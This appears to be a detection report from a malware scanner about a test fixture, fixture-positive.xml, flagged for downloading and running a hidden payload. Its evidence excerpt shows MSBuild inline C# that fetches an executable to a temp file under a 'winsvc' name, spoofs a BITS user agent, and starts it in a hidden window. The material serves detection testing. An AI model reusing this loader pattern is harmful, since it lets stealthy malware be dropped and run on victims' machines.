fixture-positive.xml
Downloads and executes hidden payload
MSBuild HTTP downloader hides child process with BITS user agentMSBuild inline HTTP download with process launch clues
SHA-256068872864901d77cd776948e7ad7bc38d3d00efda4b6e90cd100bba4d2629d34
MaleculeO(Xe₂)H₂(Cm₃Po₂)Md(Bk)
Evidence
1<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
2 <Target Name="X"><T/></Target>
3 <UsingTask TaskName="T" TaskFactory="CodeTaskFactory"
⋯14 lines
18 var d = Path.Combine(Path.GetTempPath(), "winsvc_" + DateTime.Now.Ticks + ".exe");
19 using (var w = new WebClient()) {
20 w.Headers.Add("User-Agent", "Microsoft BITS/7.8");
21 w.DownloadFile(u,d);
22 }
23 Process.Start(new ProcessStartInfo { FileName = d, WindowStyle = ProcessWindowStyle.Hidden });
24 } catch {}
25 return true;
⋯7 lines